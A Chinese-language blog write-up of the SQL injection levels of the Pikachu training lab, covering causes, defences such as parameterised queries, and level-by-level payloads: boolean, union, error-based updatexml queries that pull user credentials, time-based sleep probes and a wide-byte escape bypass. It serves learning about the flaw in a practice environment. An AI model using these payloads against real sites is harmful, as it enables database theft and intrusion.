标签：asc   字符   pass   ext   header   字符型   上传   limit   验证   

摘要：

　　SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。 从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。
在构建代码时，一般会从如下几个方面的策略来防止SQL注入漏洞：
1.对传进SQL语句里面的变量进行过滤，不允许危险字符传入；
2.使用参数化（Parameterized Query 或 Parameterized Statement）；
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

产生漏洞的原因：

　　SQL注入漏洞，主要是开发人员在构建代码时，没有对输入边界进行安全考虑，导致攻击者可以通过合法的输入点提交一些精心构造的语句，从而欺骗后台数据库对其进行执行，导致数据库信息泄漏的一种漏洞。比如我们期望用户输入整数的id 1，但是用户输入了1 or 1=1，这是条能被正常执行的SQL语句，导致表中的数据都会输出。

注入点类型：

1. 数字型：user_id=$id

2. 字符型：user_id=‘$id‘

3. 搜索型：text LIKE ‘%{$_GET[‘search‘]}%‘"

SQL注入的攻击流程：

1.注入点探测

自动方式：使用web漏洞扫描工具，自动进行注入点发现

手动方式：手工构造SQL注入测试语句进行注入点发现

2.信息获取，通过注入点取得期望得到的数据

1.环境信息：数据库类型，数据库版本，操作系统版本，用户信息等

2.数据库信息：数据库蜜罐，数据库表，表字段，字段内容等（加密内容破解）

3.获取权限

通过数据库执行shell，上传木马等方法

下面开始闯关：

数字型注入（post）

直接输入数字就可

正常来说，我们的数据是放在数据库里的，当我们提交了这个id的，后台会带这个参数到数据库里查询。

那我们来抓包来测试一下 ，把传入的参数改成 1 or 1=1。

按理说应该取出了数据库中全部数据，才说明存在数字型注入漏洞。我这里不知道怎么错了，疑惑出不来数据库

字符型注入（get)：

输入lili，可以得到：

 因为这里输入的查询用户名是字符串，所以在查询语句中需要有单引号。

我们需要构造闭合，闭合后台查询语句中的第一个单引号，然后注释掉第二个单引号，构造的payload为：kobe‘ or 1=1#

这样我们要查的这个表中全部信息就出来了。

搜索型注入：

 　　构造对应的闭合，闭合前面的 单引号 和 百分号，注释后面的百分号和单引号。构造的payload如下

xxxx%‘ or 1=1#

 我们输入li%‘ or 1=1#

XX型注入：

使用payload xx‘)or 1=1# 可得

insert/update注入

　　所谓 insert 注入是指我们前端注册的信息，后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理，我们就能在注册时通过拼接 SQL 注入。

1.insert注入

使用updataxml 函数

注入payload

1‘ or updatexml(1,concat(0x7e,database()),0) or‘

 得到皮卡丘的数据库名字是 pikachu

这个我还没搞明白，截图以后更~

2 update注入

先登录进去，在修改资料处抓包
Payload和insert注入相同:

1‘ or updatexml(1,concat(0x7e,database()),0) or‘
同样能得到皮卡丘的数据库名字是 pikachu

delete注入:

先进行留言 在删除的时候抓包

由于是get的类型的 在payload记得进行url编码

payload 与之前一样如下：1 or updatexml(1, concat(0x7e,database()), 0)  （要进行URL编码）

http header注入

　　开发人员为了验证客户端头信息（比如cookie验证）使用或者通过http header获取客户端的一些信息等，会对客户端的http header信息进行获取并使用SQL进行处理。

先登录

 　　然后抓包，修改user-agent或者cookie完成注入：1‘ or updatexml(1, concat(0x7e,(select (concat_ws(‘-‘,username,password)) from pikachu.users limit 0,1)  ),1) or ‘

盲注 based on boolean：

　　在有些情况下，后台使用了错误屏蔽方法屏蔽了报错，此时无法根据报错信息来进行注入的判断。这种情况下的注入，称为“盲注”。

只有加and 1=1#才能返回个人信息，or 1=1#报错

用函数来构造payload

lili‘ and ascii(substr(database(),1,1))=112#

lili‘ and ascii(substr(database(),1,1)>110#

 lili‘ and ascii(substr(database(),1,1)<113#

 112通过多次比较才能试出来

 然后获取表名
test payload：
lili‘  union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu‘#

然后获取字段名

lili‘  union select table_name,column_name from information_schema.columns where table_name=‘users‘#

盲注(base on time)

同样的也是挨个试，这次看对错是看这个反应时间，要是可以的话就会五秒多一些。

payload:

lili’ and sleep(5)#

　　基于时间的注入就什么都看不到了，我们通过特定的输入，判断后台执行的时间，从而确定注入点，在皮卡丘平台一，无论输入什么，前端都是显示“I don‘t care who you are!”

宽字节注入：

刚开始尝试发现注入不行，抓包发现以及进行了编码

 在抓包后修改也不行　　

 发现‘被后台转移，所以构造payload 1%df‘ or 1=1#

注入成功！！！

Pikachu-SQL注入

标签：asc   字符   pass   ext   header   字符型   上传   limit   验证   

原文地址：https://www.cnblogs.com/amberhome-wei/p/12617050.html